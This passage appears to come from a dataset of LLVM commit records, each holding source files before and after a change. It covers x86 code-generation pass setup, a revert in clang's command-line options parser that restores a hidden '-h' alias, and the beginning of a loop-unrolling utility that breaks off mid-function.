\"llvm\/CodeGen\/IntrinsicLowering.h\"\n#include \"llvm\/CodeGen\/MachineFunction.h\"\n#include \"llvm\/CodeGen\/Passes.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Target\/TargetMachineRegistry.h\"\n#include \"llvm\/Transforms\/Scalar.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/ADT\/Statistic.h\"\nusing namespace llvm;\n\nX86VectorEnum llvm::X86Vector = NoSSE;\nbool llvm::X86ScalarSSE = false;\nbool llvm::X86DAGIsel = false;\n\n\/\/\/ X86TargetMachineModule - Note that this is used on hosts that cannot link\n\/\/\/ in a library unless there are references into the library.  In particular,\n\/\/\/ it seems that it is not possible to get things to work on Win32 without\n\/\/\/ this.  Though it is unused, do not remove it.\nextern \"C\" int X86TargetMachineModule;\nint X86TargetMachineModule = 0;\n\nnamespace {\n  cl::opt<bool> DisableOutput(\"disable-x86-llc-output\", cl::Hidden,\n                              cl::desc(\"Disable the X86 asm printer, for use \"\n                                       \"when profiling the code generator.\"));\n  cl::opt<bool, true> EnableSSEFP(\"enable-sse-scalar-fp\",\n                cl::desc(\"Perform FP math in SSE regs instead of the FP stack\"),\n                cl::location(X86ScalarSSE),\n                cl::init(false));\n\n  cl::opt<bool, true> EnableX86DAGDAG(\"enable-x86-dag-isel\", cl::Hidden,\n                      cl::desc(\"Enable DAG-to-DAG isel for X86\"),\n                      cl::location(X86DAGIsel),\n                      cl::init(false));\n  \n  \/\/ FIXME: This should eventually be handled with target triples and\n  \/\/ subtarget support!\n  cl::opt<X86VectorEnum, true>\n  SSEArg(\n    cl::desc(\"Enable SSE support in the X86 target:\"),\n    cl::values(\n       clEnumValN(SSE,  \"sse\", \"  Enable SSE support\"),\n       clEnumValN(SSE2, \"sse2\", \"  Enable SSE and SSE2 support\"),\n       clEnumValN(SSE3, \"sse3\", \"  Enable SSE, SSE2, and SSE3 support\"),\n       clEnumValEnd),\n    cl::location(X86Vector), cl::init(NoSSE));\n\n  \/\/ Register the target.\n  RegisterTarget<X86TargetMachine> X(\"x86\", \"  IA-32 (Pentium and above)\");\n}\n\nunsigned X86TargetMachine::getJITMatchQuality() {\n#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\n  return 10;\n#else\n  return 0;\n#endif\n}\n\nunsigned X86TargetMachine::getModuleMatchQuality(const Module &M) {\n  \/\/ We strongly match \"i[3-9]86-*\".\n  std::string TT = M.getTargetTriple();\n  if (TT.size() >= 5 && TT[0] == 'i' && TT[2] == '8' && TT[3] == '6' &&\n      TT[4] == '-' && TT[1] - '3' < 6)\n    return 20;\n\n  if (M.getEndianness()  == Module::LittleEndian &&\n      M.getPointerSize() == Module::Pointer32)\n    return 10;                                   \/\/ Weak match\n  else if (M.getEndianness() != Module::AnyEndianness ||\n           M.getPointerSize() != Module::AnyPointerSize)\n    return 0;                                    \/\/ Match for some other target\n\n  return getJITMatchQuality()\/2;\n}\n\n\/\/\/ X86TargetMachine ctor - Create an ILP32 architecture model\n\/\/\/\nX86TargetMachine::X86TargetMachine(const Module &M,\n                                  IntrinsicLowering *IL,\n                                  const std::string &FS)\n  : TargetMachine(\"X86\", IL, true, 4, 4, 4, 4, 4),\n    Subtarget(M, FS),\n    FrameInfo(TargetFrameInfo::StackGrowsDown,\n              Subtarget.getStackAlignment(), -4),\n    JITInfo(*this) {\n  \/\/ Scalar SSE FP requires at least SSE2\n  X86ScalarSSE &= X86Vector >= SSE2;\n\n  \/\/ Ignore -enable-sse-scalar-fp if -enable-x86-dag-isel.\n  X86ScalarSSE |= (X86DAGIsel && X86Vector >= SSE2);\n}\n\n\n\/\/ addPassesToEmitFile - We currently use all of the same passes as the JIT\n\/\/ does to emit statically compiled machine code.\nbool X86TargetMachine::addPassesToEmitFile(PassManager &PM, std::ostream &Out,\n                                           CodeGenFileType FileType,\n                                           bool Fast) {\n  if (FileType != TargetMachine::AssemblyFile &&\n      FileType != TargetMachine::ObjectFile) return true;\n\n  \/\/ FIXME: Implement efficient support for garbage collection intrinsics.\n  PM.add(createLowerGCPass());\n\n  \/\/ FIXME: Implement the invoke\/unwind instructions!\n  PM.add(createLowerInvokePass());\n\n  \/\/ FIXME: Implement the switch instruction in the instruction selector!\n  PM.add(createLowerSwitchPass());\n\n  \/\/ Make sure that no unreachable blocks are instruction selected.\n  PM.add(createUnreachableBlockEliminationPass());\n\n  \/\/ Install an instruction selector.\n  if (X86DAGIsel)\n    PM.add(createX86ISelDag(*this));\n  else\n    PM.add(createX86ISelPattern(*this));\n\n  \/\/ Print the instruction selected machine code...\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Perform register allocation to convert to a concrete x86 representation\n  PM.add(createRegisterAllocator());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  PM.add(createX86FloatingPointStackifierPass());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Insert prolog\/epilog code.  Eliminate abstract frame index references...\n  PM.add(createPrologEpilogCodeInserter());\n\n  PM.add(createX86PeepholeOptimizerPass());\n\n  if (PrintMachineCode)  \/\/ Print the register-allocated code\n    PM.add(createX86CodePrinterPass(std::cerr, *this));\n\n  if (!DisableOutput)\n    switch (FileType) {\n    default:\n      assert(0 && \"Unexpected filetype here!\");\n    case TargetMachine::AssemblyFile:\n      PM.add(createX86CodePrinterPass(Out, *this));\n      break;\n    case TargetMachine::ObjectFile:\n      \/\/ FIXME: We only support emission of ELF files for now, this should check\n      \/\/ the target triple and decide on the format to write (e.g. COFF on\n      \/\/ win32).\n      addX86ELFObjectWriterPass(PM, Out, *this);\n      break;\n    }\n\n  \/\/ Delete machine code for this function\n  PM.add(createMachineCodeDeleter());\n\n  return false; \/\/ success!\n}\n\n\/\/\/ addPassesToJITCompile - Add passes to the specified pass manager to\n\/\/\/ implement a fast dynamic compiler for this target.  Return true if this is\n\/\/\/ not supported for this target.\n\/\/\/\nvoid X86JITInfo::addPassesToJITCompile(FunctionPassManager &PM) {\n  \/\/ FIXME: Implement efficient support for garbage collection intrinsics.\n  PM.add(createLowerGCPass());\n\n  \/\/ FIXME: Implement the invoke\/unwind instructions!\n  PM.add(createLowerInvokePass());\n\n  \/\/ FIXME: Implement the switch instruction in the instruction selector!\n  PM.add(createLowerSwitchPass());\n\n  \/\/ Make sure that no unreachable blocks are instruction selected.\n  PM.add(createUnreachableBlockEliminationPass());\n\n  \/\/ Install an instruction selector.\n  if (X86DAGIsel)\n    PM.add(createX86ISelDag(TM));\n  else\n    PM.add(createX86ISelPattern(TM));\n\n  \/\/ FIXME: Add SSA based peephole optimizer here.\n\n  \/\/ Print the instruction selected machine code...\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Perform register allocation to convert to a concrete x86 representation\n  PM.add(createRegisterAllocator());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  PM.add(createX86FloatingPointStackifierPass());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Insert prolog\/epilog code.  Eliminate abstract frame index references...\n  PM.add(createPrologEpilogCodeInserter());\n\n  PM.add(createX86PeepholeOptimizerPass());\n\n  if (PrintMachineCode)  \/\/ Print the register-allocated code\n    PM.add(createX86CodePrinterPass(std::cerr, TM));\n}\n\nbool X86TargetMachine::addPassesToEmitMachineCode(FunctionPassManager &PM,\n                                                  MachineCodeEmitter &MCE) {\n  PM.add(createX86CodeEmitterPass(MCE));\n  \/\/ Delete machine code for this function\n  PM.add(createMachineCodeDeleter());\n  return false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- CommonOptionsParser.cpp - common options for clang tools ---------===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file implements the CommonOptionsParser class used to parse common\n\/\/  command-line options for clang tools, so that they can be run as separate\n\/\/  command-line applications with a consistent common interface for handling\n\/\/  compilation database and input files.\n\/\/\n\/\/  It provides a common subset of command-line options, common algorithm\n\/\/  for locating a compilation database and source files, and help messages\n\/\/  for the basic command-line interface.\n\/\/\n\/\/  It creates a CompilationDatabase and reads common command-line options.\n\/\/\n\/\/  This class uses the Clang Tooling infrastructure, see\n\/\/    http:\/\/clang.llvm.org\/docs\/HowToSetupToolingForLLVM.html\n\/\/  for details on setting it up with LLVM source tree.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Tooling\/CommonOptionsParser.h\"\n#include \"clang\/Tooling\/Tooling.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n\nusing namespace clang::tooling;\nusing namespace llvm;\n\nconst char *const CommonOptionsParser::HelpMessage =\n    \"\\n\"\n    \"-p <build-path> is used to read a compile command database.\\n\"\n    \"\\n\"\n    \"\\tFor example, it can be a CMake build directory in which a file named\\n\"\n    \"\\tcompile_commands.json exists (use -DCMAKE_EXPORT_COMPILE_COMMANDS=ON\\n\"\n    \"\\tCMake option to get this output). When no build path is specified,\\n\"\n    \"\\ta search for compile_commands.json will be attempted through all\\n\"\n    \"\\tparent paths of the first input file . See:\\n\"\n    \"\\thttp:\/\/clang.llvm.org\/docs\/HowToSetupToolingForLLVM.html for an\\n\"\n    \"\\texample of setting up Clang Tooling on a source tree.\\n\"\n    \"\\n\"\n    \"<source0> ... specify the paths of source files. These paths are\\n\"\n    \"\\tlooked up in the compile command database. If the path of a file is\\n\"\n    \"\\tabsolute, it needs to point into CMake's source tree. If the path is\\n\"\n    \"\\trelative, the current working directory needs to be in the CMake\\n\"\n    \"\\tsource tree and the file must be in a subdirectory of the current\\n\"\n    \"\\tworking directory. \\\".\/\\\" prefixes in the relative files will be\\n\"\n    \"\\tautomatically removed, but the rest of a relative path must be a\\n\"\n    \"\\tsuffix of a path in the compile command database.\\n\"\n    \"\\n\";\n\nvoid ArgumentsAdjustingCompilations::appendArgumentsAdjuster(\n    ArgumentsAdjuster Adjuster) {\n  Adjusters.push_back(std::move(Adjuster));\n}\n\nstd::vector<CompileCommand> ArgumentsAdjustingCompilations::getCompileCommands(\n    StringRef FilePath) const {\n  return adjustCommands(Compilations->getCompileCommands(FilePath));\n}\n\nstd::vector<std::string>\nArgumentsAdjustingCompilations::getAllFiles() const {\n  return Compilations->getAllFiles();\n}\n\nstd::vector<CompileCommand>\nArgumentsAdjustingCompilations::getAllCompileCommands() const {\n  return adjustCommands(Compilations->getAllCompileCommands());\n}\n\nstd::vector<CompileCommand> ArgumentsAdjustingCompilations::adjustCommands(\n    std::vector<CompileCommand> Commands) const {\n  for (CompileCommand &Command : Commands)\n    for (const auto &Adjuster : Adjusters)\n      Command.CommandLine = Adjuster(Command.CommandLine, Command.Filename);\n  return Commands;\n}\n\nllvm::Error CommonOptionsParser::init(\n    int &argc, const char **argv, cl::OptionCategory &Category,\n    llvm::cl::NumOccurrencesFlag OccurrencesFlag, const char *Overview) {\n\n  static cl::opt<std::string> BuildPath(\"p\", cl::desc(\"Build path\"),\n                                        cl::Optional, cl::cat(Category),\n                                        cl::sub(*cl::AllSubCommands));\n\n  static cl::list<std::string> SourcePaths(\n      cl::Positional, cl::desc(\"<source0> [... <sourceN>]\"), OccurrencesFlag,\n      cl::cat(Category), cl::sub(*cl::AllSubCommands));\n\n  static cl::list<std::string> ArgsAfter(\n      \"extra-arg\",\n      cl::desc(\"Additional argument to append to the compiler command line\"),\n      cl::cat(Category), cl::sub(*cl::AllSubCommands));\n\n  static cl::list<std::string> ArgsBefore(\n      \"extra-arg-before\",\n      cl::desc(\"Additional argument to prepend to the compiler command line\"),\n      cl::cat(Category), cl::sub(*cl::AllSubCommands));\n\n  cl::ResetAllOptionOccurrences();\n\n  cl::HideUnrelatedOptions(Category);\n\n  std::string ErrorMessage;\n  Compilations =\n      FixedCompilationDatabase::loadFromCommandLine(argc, argv, ErrorMessage);\n  if (!ErrorMessage.empty())\n    ErrorMessage.append(\"\\n\");\n  llvm::raw_string_ostream OS(ErrorMessage);\n  \/\/ Stop initializing if command-line option parsing failed.\n  if (!cl::ParseCommandLineOptions(argc, argv, Overview, &OS)) {\n    OS.flush();\n    return llvm::make_error<llvm::StringError>(\"[CommonOptionsParser]: \" +\n                                                   ErrorMessage,\n                                               llvm::inconvertibleErrorCode());\n  }\n\n  cl::PrintOptionValues();\n\n  SourcePathList = SourcePaths;\n  if ((OccurrencesFlag == cl::ZeroOrMore || OccurrencesFlag == cl::Optional) &&\n      SourcePathList.empty())\n    return llvm::Error::success();\n  if (!Compilations) {\n    if (!BuildPath.empty()) {\n      Compilations =\n          CompilationDatabase::autoDetectFromDirectory(BuildPath, ErrorMessage);\n    } else {\n      Compilations = CompilationDatabase::autoDetectFromSource(SourcePaths[0],\n                                                               ErrorMessage);\n    }\n    if (!Compilations) {\n      llvm::errs() << \"Error while trying to load a compilation database:\\n\"\n                   << ErrorMessage << \"Running without flags.\\n\";\n      Compilations.reset(\n          new FixedCompilationDatabase(\".\", std::vector<std::string>()));\n    }\n  }\n  auto AdjustingCompilations =\n      llvm::make_unique<ArgumentsAdjustingCompilations>(\n          std::move(Compilations));\n  Adjuster =\n      getInsertArgumentAdjuster(ArgsBefore, ArgumentInsertPosition::BEGIN);\n  Adjuster = combineAdjusters(\n      std::move(Adjuster),\n      getInsertArgumentAdjuster(ArgsAfter, ArgumentInsertPosition::END));\n  AdjustingCompilations->appendArgumentsAdjuster(Adjuster);\n  Compilations = std::move(AdjustingCompilations);\n  return llvm::Error::success();\n}\n\nllvm::Expected<CommonOptionsParser> CommonOptionsParser::create(\n    int &argc, const char **argv, llvm::cl::OptionCategory &Category,\n    llvm::cl::NumOccurrencesFlag OccurrencesFlag, const char *Overview) {\n  CommonOptionsParser Parser;\n  llvm::Error Err =\n      Parser.init(argc, argv, Category, OccurrencesFlag, Overview);\n  if (Err)\n    return std::move(Err);\n  return std::move(Parser);\n}\n\nCommonOptionsParser::CommonOptionsParser(\n    int &argc, const char **argv, cl::OptionCategory &Category,\n    llvm::cl::NumOccurrencesFlag OccurrencesFlag, const char *Overview) {\n  llvm::Error Err = init(argc, argv, Category, OccurrencesFlag, Overview);\n  if (Err) {\n    llvm::report_fatal_error(\n        \"CommonOptionsParser: failed to parse command-line arguments. \" +\n        llvm::toString(std::move(Err)));\n  }\n}\n<commit_msg>Revert r358337: \"[CommandLineParser] Add DefaultOption flag\"<commit_after>\/\/===--- CommonOptionsParser.cpp - common options for clang tools ---------===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file implements the CommonOptionsParser class used to parse common\n\/\/  command-line options for clang tools, so that they can be run as separate\n\/\/  command-line applications with a consistent common interface for handling\n\/\/  compilation database and input files.\n\/\/\n\/\/  It provides a common subset of command-line options, common algorithm\n\/\/  for locating a compilation database and source files, and help messages\n\/\/  for the basic command-line interface.\n\/\/\n\/\/  It creates a CompilationDatabase and reads common command-line options.\n\/\/\n\/\/  This class uses the Clang Tooling infrastructure, see\n\/\/    http:\/\/clang.llvm.org\/docs\/HowToSetupToolingForLLVM.html\n\/\/  for details on setting it up with LLVM source tree.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Tooling\/CommonOptionsParser.h\"\n#include \"clang\/Tooling\/Tooling.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n\nusing namespace clang::tooling;\nusing namespace llvm;\n\nconst char *const CommonOptionsParser::HelpMessage =\n    \"\\n\"\n    \"-p <build-path> is used to read a compile command database.\\n\"\n    \"\\n\"\n    \"\\tFor example, it can be a CMake build directory in which a file named\\n\"\n    \"\\tcompile_commands.json exists (use -DCMAKE_EXPORT_COMPILE_COMMANDS=ON\\n\"\n    \"\\tCMake option to get this output). When no build path is specified,\\n\"\n    \"\\ta search for compile_commands.json will be attempted through all\\n\"\n    \"\\tparent paths of the first input file . See:\\n\"\n    \"\\thttp:\/\/clang.llvm.org\/docs\/HowToSetupToolingForLLVM.html for an\\n\"\n    \"\\texample of setting up Clang Tooling on a source tree.\\n\"\n    \"\\n\"\n    \"<source0> ... specify the paths of source files. These paths are\\n\"\n    \"\\tlooked up in the compile command database. If the path of a file is\\n\"\n    \"\\tabsolute, it needs to point into CMake's source tree. If the path is\\n\"\n    \"\\trelative, the current working directory needs to be in the CMake\\n\"\n    \"\\tsource tree and the file must be in a subdirectory of the current\\n\"\n    \"\\tworking directory. \\\".\/\\\" prefixes in the relative files will be\\n\"\n    \"\\tautomatically removed, but the rest of a relative path must be a\\n\"\n    \"\\tsuffix of a path in the compile command database.\\n\"\n    \"\\n\";\n\nvoid ArgumentsAdjustingCompilations::appendArgumentsAdjuster(\n    ArgumentsAdjuster Adjuster) {\n  Adjusters.push_back(std::move(Adjuster));\n}\n\nstd::vector<CompileCommand> ArgumentsAdjustingCompilations::getCompileCommands(\n    StringRef FilePath) const {\n  return adjustCommands(Compilations->getCompileCommands(FilePath));\n}\n\nstd::vector<std::string>\nArgumentsAdjustingCompilations::getAllFiles() const {\n  return Compilations->getAllFiles();\n}\n\nstd::vector<CompileCommand>\nArgumentsAdjustingCompilations::getAllCompileCommands() const {\n  return adjustCommands(Compilations->getAllCompileCommands());\n}\n\nstd::vector<CompileCommand> ArgumentsAdjustingCompilations::adjustCommands(\n    std::vector<CompileCommand> Commands) const {\n  for (CompileCommand &Command : Commands)\n    for (const auto &Adjuster : Adjusters)\n      Command.CommandLine = Adjuster(Command.CommandLine, Command.Filename);\n  return Commands;\n}\n\nllvm::Error CommonOptionsParser::init(\n    int &argc, const char **argv, cl::OptionCategory &Category,\n    llvm::cl::NumOccurrencesFlag OccurrencesFlag, const char *Overview) {\n  static cl::opt<bool> Help(\"h\", cl::desc(\"Alias for -help\"), cl::Hidden,\n                            cl::sub(*cl::AllSubCommands));\n\n  static cl::opt<std::string> BuildPath(\"p\", cl::desc(\"Build path\"),\n                                        cl::Optional, cl::cat(Category),\n                                        cl::sub(*cl::AllSubCommands));\n\n  static cl::list<std::string> SourcePaths(\n      cl::Positional, cl::desc(\"<source0> [... <sourceN>]\"), OccurrencesFlag,\n      cl::cat(Category), cl::sub(*cl::AllSubCommands));\n\n  static cl::list<std::string> ArgsAfter(\n      \"extra-arg\",\n      cl::desc(\"Additional argument to append to the compiler command line\"),\n      cl::cat(Category), cl::sub(*cl::AllSubCommands));\n\n  static cl::list<std::string> ArgsBefore(\n      \"extra-arg-before\",\n      cl::desc(\"Additional argument to prepend to the compiler command line\"),\n      cl::cat(Category), cl::sub(*cl::AllSubCommands));\n\n  cl::ResetAllOptionOccurrences();\n\n  cl::HideUnrelatedOptions(Category);\n\n  std::string ErrorMessage;\n  Compilations =\n      FixedCompilationDatabase::loadFromCommandLine(argc, argv, ErrorMessage);\n  if (!ErrorMessage.empty())\n    ErrorMessage.append(\"\\n\");\n  llvm::raw_string_ostream OS(ErrorMessage);\n  \/\/ Stop initializing if command-line option parsing failed.\n  if (!cl::ParseCommandLineOptions(argc, argv, Overview, &OS)) {\n    OS.flush();\n    return llvm::make_error<llvm::StringError>(\"[CommonOptionsParser]: \" +\n                                                   ErrorMessage,\n                                               llvm::inconvertibleErrorCode());\n  }\n\n  cl::PrintOptionValues();\n\n  SourcePathList = SourcePaths;\n  if ((OccurrencesFlag == cl::ZeroOrMore || OccurrencesFlag == cl::Optional) &&\n      SourcePathList.empty())\n    return llvm::Error::success();\n  if (!Compilations) {\n    if (!BuildPath.empty()) {\n      Compilations =\n          CompilationDatabase::autoDetectFromDirectory(BuildPath, ErrorMessage);\n    } else {\n      Compilations = CompilationDatabase::autoDetectFromSource(SourcePaths[0],\n                                                               ErrorMessage);\n    }\n    if (!Compilations) {\n      llvm::errs() << \"Error while trying to load a compilation database:\\n\"\n                   << ErrorMessage << \"Running without flags.\\n\";\n      Compilations.reset(\n          new FixedCompilationDatabase(\".\", std::vector<std::string>()));\n    }\n  }\n  auto AdjustingCompilations =\n      llvm::make_unique<ArgumentsAdjustingCompilations>(\n          std::move(Compilations));\n  Adjuster =\n      getInsertArgumentAdjuster(ArgsBefore, ArgumentInsertPosition::BEGIN);\n  Adjuster = combineAdjusters(\n      std::move(Adjuster),\n      getInsertArgumentAdjuster(ArgsAfter, ArgumentInsertPosition::END));\n  AdjustingCompilations->appendArgumentsAdjuster(Adjuster);\n  Compilations = std::move(AdjustingCompilations);\n  return llvm::Error::success();\n}\n\nllvm::Expected<CommonOptionsParser> CommonOptionsParser::create(\n    int &argc, const char **argv, llvm::cl::OptionCategory &Category,\n    llvm::cl::NumOccurrencesFlag OccurrencesFlag, const char *Overview) {\n  CommonOptionsParser Parser;\n  llvm::Error Err =\n      Parser.init(argc, argv, Category, OccurrencesFlag, Overview);\n  if (Err)\n    return std::move(Err);\n  return std::move(Parser);\n}\n\nCommonOptionsParser::CommonOptionsParser(\n    int &argc, const char **argv, cl::OptionCategory &Category,\n    llvm::cl::NumOccurrencesFlag OccurrencesFlag, const char *Overview) {\n  llvm::Error Err = init(argc, argv, Category, OccurrencesFlag, Overview);\n  if (Err) {\n    llvm::report_fatal_error(\n        \"CommonOptionsParser: failed to parse command-line arguments. \" +\n        llvm::toString(std::move(Err)));\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- UnrollLoop.cpp - Loop unrolling utilities -------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements some loop unrolling utilities. It does not define any\n\/\/ actual pass or policy, but provides a single function to perform loop\n\/\/ unrolling.\n\/\/\n\/\/ It works best when loops have been canonicalized by the -indvars pass,\n\/\/ allowing it to determine the trip counts of loops easily.\n\/\/\n\/\/ The process of unrolling can produce extraneous basic blocks linked with\n\/\/ unconditional branches.  This will be corrected in the future.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"loop-unroll\"\n#include \"llvm\/Transforms\/Utils\/UnrollLoop.h\"\n#include \"llvm\/BasicBlock.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/Analysis\/ConstantFolding.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"llvm\/Transforms\/Utils\/Cloning.h\"\n#include \"llvm\/Transforms\/Utils\/Local.h\"\n#include <cstdio>\n\nusing namespace llvm;\n\n\/\/ TODO: Should these be here or in LoopUnroll?\nSTATISTIC(NumCompletelyUnrolled, \"Number of loops completely unrolled\");\nSTATISTIC(NumUnrolled,    \"Number of loops unrolled (completely or otherwise)\");\n\n\/\/\/ RemapInstruction - Convert the instruction operands from referencing the\n\/\/\/ current values into those specified by ValueMap.\nstatic inline void RemapInstruction(Instruction *I,\n                                    DenseMap<const Value *, Value*> &ValueMap) {\n  for (unsigned op = 0, E = I->getNumOperands(); op != E; ++op) {\n    Value *Op = I->getOperand(op);\n    DenseMap<const Value *, Value*>::iterator It = ValueMap.find(Op);\n    if (It != ValueMap.end())\n      I->setOperand(op, It->second);\n  }\n}\n\n\/\/\/ FoldBlockIntoPredecessor - Folds a basic block into its predecessor if it\n\/\/\/ only has one predecessor, and that predecessor only has one successor.\n\/\/\/ The LoopInfo Analysis that is passed will be kept consistent.\n\/\/\/ Returns the new combined block.\nstatic BasicBlock *FoldBlockIntoPredecessor(BasicBlock *BB, LoopInfo* LI) {\n  \/\/ Merge basic blocks into their predecessor if there is only one distinct\n  \/\/ pred, and if there is only one distinct successor of the predecessor, and\n  \/\/ if there are no PHI nodes.\n  BasicBlock *OnlyPred = BB->getSinglePredecessor();\n  if (!OnlyPred) return 0;\n\n  if (OnlyPred->getTerminator()->getNumSuccessors() != 1)\n    return 0;\n\n  DEBUG(errs() << \"Merging: \" << *BB << \"into: \" << *OnlyPred);\n\n  \/\/ Resolve any PHI nodes at the start of the block.  They are all\n  \/\/ guaranteed to have exactly one entry if they exist, unless there are\n  \/\/ multiple duplicate (but guaranteed to be equal) entries for the\n  \/\/ incoming edges.  This occurs when there are multiple edges from\n  \/\/ OnlyPred to OnlySucc.\n  FoldSingleEntryPHINodes(BB);\n\n  \/\/ Delete the unconditional branch from the predecessor...\n  OnlyPred->getInstList().pop_back();\n\n  \/\/ Move all definitions in the successor to the predecessor...\n  OnlyPred->getInstList().splice(OnlyPred->end(), BB->getInstList());\n\n  \/\/ Make all PHI nodes that referred to BB now refer to Pred as their\n  \/\/ source...\n  BB->replaceAllUsesWith(OnlyPred);\n\n  std::string OldName = BB->getName();\n\n  \/\/ Erase basic block from the function...\n  LI->removeBlock(BB);\n  BB->eraseFromParent();\n\n  \/\/ Inherit predecessor's name if it exists...\n  if (!OldName.empty() && !OnlyPred->hasName())\n    OnlyPred->setName(OldName);\n\n  return OnlyPred;\n}\n\n\/\/\/ Unroll the given loop by Count. The loop must be in LCSSA form. Returns true\n\/\/\/ if unrolling was succesful, or false if the loop was unmodified. Unrolling\n\/\/\/ can only fail when the loop's latch block is not terminated by a conditional\n\/\/\/ branch instruction. However, if the trip count (and multiple) are not known,\n\/\/\/ loop unrolling will mostly produce more code that is no faster.\n\/\/\/\n\/\/\/ The LoopInfo Analysis that is passed will be kept consistent.\n\/\/\/\n\/\/\/ If a LoopPassManager is passed in, and the loop is fully removed, it will be\n\/\/\/ removed from the LoopPassManager as well. LPM can also be NULL.\nbool llvm::UnrollLoop(Loop *L, unsigned Count, LoopInfo* LI, LPPassManager* LPM) {\n  assert(L->isLCSSAForm());\n\n  BasicBlock *Header = L->getHeader();\n  BasicBlock *LatchBlock = L->getLoopLatch();\n  BranchInst *BI = dyn_cast<BranchInst>(LatchBlock->getTerminator());\n  \n  if (!BI || BI->isUnconditional()) {\n    \/\/ The loop-rotate pass can be helpful to avoid this in many cases.\n    DEBUG(errs() <<\n             \"  Can't unroll; loop not terminated by a conditional branch.\\n\");\n    return false;\n  }\n\n  \/\/ Find trip count\n  unsigned TripCount = L->getSmallConstantTripCount();\n  \/\/ Find trip multiple if count is not available\n  unsigned TripMultiple = 1;\n  if (TripCount == 0)\n    TripMultiple = L->getSmallConstantTripMultiple();\n\n  if (TripCount != 0)\n    DEBUG(errs() << \"  Trip Count = \" << TripCount << \"\\n\");\n  if (TripMultiple != 1)\n    DEBUG(errs() << \"  Trip Multiple = \" << TripMultiple << \"\\n\");\n\n  \/\/ Effectively \"DCE\" unrolled iterations that are beyond the tripcount\n  \/\/ and will never be executed.\n  if (TripCount != 0 && Count > TripCount)\n    Count = TripCount;\n\n  assert(Count > 0);\n  assert(TripMultiple > 0);\n  assert(TripCount == 0 || TripCount % TripMultiple == 0);\n\n  \/\/ Are we eliminating the loop control altogether?\n  bool CompletelyUnroll = Count == TripCount;\n\n  \/\/ If we know the trip count, we know the multiple...\n  unsigned BreakoutTrip = 0;\n  if (TripCount != 0) {\n    BreakoutTrip = TripCount % Count;\n    TripMultiple = 0;\n  } else {\n    \/\/ Figure out what multiple to use.\n    BreakoutTrip = TripMultiple =\n      (unsigned)GreatestCommonDivisor64(Count, TripMultiple);\n  }\n\n  if (CompletelyUnroll) {\n    DEBUG(errs() << \"COMPLETELY UNROLLING loop %\" << Header->getName()\n          << \" with trip count \" << TripCount << \"!\\n\");\n  } else {\n    DEBUG(errs() << \"UNROLLING loop %\" << Header->getName()\n          << \" by \" << Count);\n    if (TripMultiple == 0 || BreakoutTrip != TripMultiple) {\n      DEBUG(errs() << \" with a breakout at trip \" << BreakoutTrip);\n    } else if (TripMultiple != 1) {\n      DEBUG(errs() << \" with \" << TripMultiple << \" trips per branch\");\n    }\n    DEBUG(errs() << \"!\\n\");\n  }\n\n  std::vector<BasicBlock*> LoopBlocks = L->getBlocks();\n\n  bool ContinueOnTrue = L->contains(BI->getSuccessor(0));\n  BasicBlock *LoopExit = BI->getSuccessor(ContinueOnTrue);\n\n  \/\/ For the first iteration of the loop, we should use the precloned values for\n  \/\/ PHI nodes.  Insert associations now.\n  typedef DenseMap<const Value*, Value*> ValueMapTy;\n  ValueMapTy LastValueMap;\n  std::vector<PHINode*> OrigPHINode;\n  for (BasicBlock::iterator I = Header->begin(); isa<PHINode>(I); ++I) {\n    PHINode *PN = cast<PHINode>(I);\n    OrigPHINode.push_back(PN);\n    if (Instruction *I = \n                dyn_cast<Instruction>(PN->getIncomingValueForBlock(LatchBlock)))\n      if (L->contains(I->getParent()))\n        LastValueMap[I] = I;\n  }\n\n  std::vector<BasicBlock*> Headers;\n  std::vector<BasicBlock*> Latches;\n  Headers.push_back(Header);\n  Latches.push_back(LatchBlock);\n\n  for (unsigned It = 1; It != Count; ++It) {\n    char SuffixBuffer[100];\n    sprintf(SuffixBuffer, \".%d\", It);\n    \n    std::vector<BasicBlock*> NewBlocks;\n    \n    for (std::vector<BasicBlock*>::iterator BB = LoopBlocks.begin(),\n         E = LoopBlocks.end(); BB != E; ++BB) {\n      ValueMapTy ValueMap;\n      BasicBlock *New = 